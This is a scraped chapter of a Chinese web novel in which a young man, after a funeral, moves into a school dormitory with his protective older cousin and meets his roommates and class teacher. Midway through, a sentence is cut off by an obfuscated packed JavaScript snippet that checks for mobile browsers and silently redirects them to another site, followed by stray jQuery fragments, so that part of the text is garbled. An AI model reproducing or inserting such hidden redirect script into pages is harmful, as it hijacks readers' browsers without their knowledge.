默认冷灰
24号文字
方正启体

14. 第 14 章

作者:鲨鱼七本书字数:K更新时间:
    方琴葬礼的钱,大头是洗头房她的几个姐妹出,白容生打算再添点,崔盛直接掏了这个钱。


    他不想欠崔盛的,毕竟崔盛和方琴又没有关系。不过崔盛态度坚决,说我们两个的钱还分那么清,白容生就不再说了。


    天热,殡仪馆那边也放不了多久,葬礼定在三天后,不大办。


    方琴生前的部分人缘还算念旧情,送来的花圈和钱再凑一凑,也算是凑出一个还看得过去的葬礼。


    白容生没想到雁红也来了,她跟以前在洗头房的样子不大一样,冲他和崔盛微微点头。洗头房的几个女人对她态度平淡,她似乎也清楚,献完花后没多留,坐进车里离开。


    方琴没有什么亲戚,更是几年没谈恋爱。白容生就当作她半个儿子,火化完去捡骨房把她的骨头捡进罐子里。


    做完这一切,他才有种方琴确实已经离去的实感。


    仪式在下午三点多结束,洗头房几人琢磨公墓太贵,把方琴骨灰罐埋回洗头房后面的空地算了。


    她们都不介意,白容生也没什么好说的。方琴这辈子的“事业”就是她的芳芳洗头房,埋回去估计她也高兴。


    “洗头房还继续开下去吗?”白容生问。


    “不知道啊,看着办吧,能继续干就干,别的我们也干不来。”


    路口,白容生和崔盛下车,看着车向洗头房开去。白容生意识到一件事:属于他的地方,只有他和崔盛一起睡觉的那个旧房子。属于他的人,只有身边的崔盛。


    或者说从他出生后,他只短暂拥有过几个月属于他的父母,现在经过十几年,只有崔盛是属于他的人。


    崔盛买了根奶油味的雪糕,拨开塞给白容生。


    白容生吃了两口感觉冰牙,剩下的还给崔盛。等雪糕化开没那么冰了,他又抢回来吃完。


    吃完后他扔掉雪糕棍,面对垃圾桶原地思考。崔盛嫌弃味道难闻,拽着他走开两步,白容生却跟原地复活一样说:“马上要去军训,我又不想住校了。”


    崔盛说的对,他是要离开这里的。无论什么都不能阻止他。


    但是人的心理很奇怪,之前白容生信誓旦旦认为住校是小问题,可是真到了即将开学的时候,他又觉得崔盛那间破屋子还挺好的。


    崔盛几乎下意识就想说,那不住,去校外租房子。可是他忍住了这句话,只眼睛看着白容生。


    白容生就是和他抱怨两句,心里还是接受了住校的事实。


    住校生要提前一天报到,打扫宿舍。崔盛买了个大行李箱,还准备了一个大背包,白容生怀疑他是想把整个卧室搬过去。


    “椰子壳就不要了吧。”白容生盘腿坐地上收拾东西,喝止崔盛的过分行为,“你只拿必须的生活用品就可以了。”


    尽管如此,那箱子还是沉得吓人。


    白容生在客厅里试探地推了推,再次打开检查,简直无言:“哥,你为什么把我初中的书塞进去?”


    崔盛一概回答:“说不定用得到。”


    白容生放弃和他争论。


    一中的走读生和住宿生比例大概一半一半,进校门后先去公告栏看分班表和宿舍表,按班级去楼下排队登记。


    白容生中考分数差了一点,没能进重点班。他本人还是看得开的,倒是崔盛知道后有些不开心——他一向认为,白容生什么都是最好的。


    “七班,七班过来这边。”一个戴着眼镜,身材高壮的中年男人举着喇叭,嗓音浑厚地喊,“七班的同学和家长,都来这边。”


    白容生看了眼手里抄写的纸条,没错,七班、白容生、班主任冯少平。


    他们算是来得早,毕竟一中是老学校,地址不偏,接近市中心,基本上住在市区的家长,都会选择走读。大多是周边乡镇的学生会住宿,或者家远又不愿意租房的。


    冯少平眼光老辣,远远看着白容生往这边来,就格外专注地盯了眼他身后的崔盛。


    崔盛今天专门套了个长袖,免得肩后的纹身露出来。只是气质太明显,一看就不是好人。


    “学生的家长?”冯少平边看白容生的资料边向崔盛确认,“你是他哥哥?”


    崔盛:“嗯。”


    “亲哥?”


    崔盛一顿,稍微有些不情愿,还是说:“表哥。”


    冯少平点头,看着白容生填写信息:“白容生,是吧?家里大人呢?”


    正问着,他看到白容生后面的具体档案了,赶忙停住。但白容生已经抬头平淡地说:“爸妈都死了。”


    冯少平立刻态度转变如同春风化雨,拍了拍他的肩膀:“你是用功的好孩子,哥哥这么年轻,带你过来也辛苦了。渴的话去教学楼一楼饮水机接水,下午我会去咱们班上同学宿舍都看看的,有什么问题一定及时和老师讲。”


    白容生来不及表达自己心态坚强,冯少平就已经关怀完他还不够,顺便关怀了几句他眼里“混混样”的崔盛,让他们有困难一定要申请助学金。


    宿舍楼在后面,学校的路新修过,行李箱拖着很顺畅。崔盛道:“你们班主任还挺负责。”


    白容生:“嗯?”


    崔盛:“这样我也放心一点。”


    白容生觉得他像个老父亲,忍不住想笑。崔盛皱眉看他,问笑什么,威胁地在白容生后颈掐了一把。


    “你长高了。”他满意地说,“衣服小的话给我打电话,我再给你买。”


    白容生:“更像我爹了。”


    崔盛让他滚:“我才不当你爸,有那么老吗?”


    在宿管那里登记完就可以取得宿舍钥匙。白容生运气好,他们宿舍没住满,只有三个人。


    等他推门进去,才发现里面已经有一个人。


    男生个子瘦高,戴着眼镜,气质有点阴沉沉的,看见人进来也只是默不作声扫了眼。他没有家长陪着,独自在那里擦床板。


    对方没有打招呼的样子,白容生自然也不主动说话。他和崔盛商量几句,就端着盆去接水洗抹布。


    接水的时候白容生回忆宿舍名单,他的两个室友分别叫徐桥、李舜,不知道外面那人是哪个。


    有崔盛在,白容生收拾得很快。眼镜男生还没弄完,白容生的床位已经好得差不多了。


    直到这时,宿舍门才在喧闹中被推开,涌进来一大家子人。


    “你好,你好,你们好!”当先走进来的男生只比白容生高一点,脸庞白胖,笑容满面,拜年一样进门先拱手,“室友们好!大家都来得这么早?”


    他身后是和他几乎一个模子刻出来的家长,全是白胖敦实的身材,一团和气的脸,争先恐后地打招呼。崔盛作为“家长”,避无可避,被抓着


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168937|196795||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    手不放,问候完一个二大爷,又接着问候一个姑奶奶。


    这个白胖的室友叫李舜,那么眼镜男就是徐桥了。


    宿舍里两张铁架子床,上下铺四个床位,中央水泥地放着并排的四张桌子,柜子和盆架都在另一边。洗手间是单独的,浴室每层公用。


    白容生睡在李舜上铺,徐桥睡对面下铺。虽然李家人主动跟徐桥说话,可他低着头胡乱应两声就拿着东西出去了,不知道是躲去哪里。


    李舜就只好抓着白容生絮絮叨叨说废话,还从包里掏出一卷泡沫纸缠楼梯:“我以为我会睡上铺呢,专门买了这个,不用白不用,你看这楼梯都锈了……”


    他人不错,就是太热情,整个寝室吵得不行。直到冯少平查看这个宿舍,推开门后也被满屋的人吓了一跳。


    “好好好,我知道,知道,都明白。”他花了好几分钟和一圈人握手后,招手叫白容生和李舜靠近。


    “我看徐桥不在,他出去了?”


    见两个学生点头,冯少平伸手揽住他们肩膀,“徐桥情况比你们特殊,他家里没人管,母亲离婚又嫁人了,父亲还在坐牢。他还有个哥哥,是通缉犯还是什么……小孩性格孤僻,你们是舍友是同学,互相多照顾,有情况私下跟我讲。都有手机没?”


    白容生知道学校规定是不让带手机的,没说话。李舜倒是毫不迟疑,响亮回答有。


    “记下我号码,有事随时联系我,我就住学校后面的教师宿舍。”


    冯少平走后,崔盛也准备走。


    白容生要送他,和他一起走到宿舍楼下,忽然问:“哥,那天家里来那么多人,找你有事吗?”


    像是没想到他突然问这个,崔盛敷衍过去。白容生却挡在他面前,执着地说:“我觉得那个叫铁算盘的很奇怪。”


    崔盛掰着他的肩膀把他转回去:“跟你没关系,好好上学,我会处理的。”


    他没去住那所房子,而是把白容生送来住校。铁算盘最迟今晚也会知道,但是崔盛知道他大概率不会发火。


    铁算盘自诩高级知识分子,最看不上粗俗的暴脾气和打打杀杀,他会想办法让崔盛自愿屈服。


    不过只要白容生好好待在学校,基本上就不会被那些烂事波及。


    崔盛把随身的旧钱包塞给白容生,“里面的卡密码是你生日,钱不够就用里面的。”


    白容生的眉头皱着,他捏着钱包没说话。


    他沉默,崔盛也沉默,在宿舍楼下僻静的角落看着他。


    “哥。”好一会,白容生问,“你之前是不是说过,我们无论谁的事,都是家里的事。”


    这个两人组成的简陋的“家”,好像从一开始就不存在只属于一个人的问题。


    崔盛不说话。白容生双手环胸,盯着他:“在瞒着我什么?还是不能跟我说,哪怕这件事和我有关?”


    他有点咄咄逼人地身体前倾,仰着头看崔盛的表情。崔盛扭头,很快又无奈,“因为你没办法解决。”


    “白容生,你还太小了,你不能解决的事情,告诉你也只能白白给你增加压力。”崔盛微微弯腰把白容生抱起来,“好了,回宿舍吧,军训结束我来看你。”


    让白容生听话很难,必须得拿出能说服他的证据。崔盛这个理由无法反驳,白容生有些不高兴,但也只能暂时作罢。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)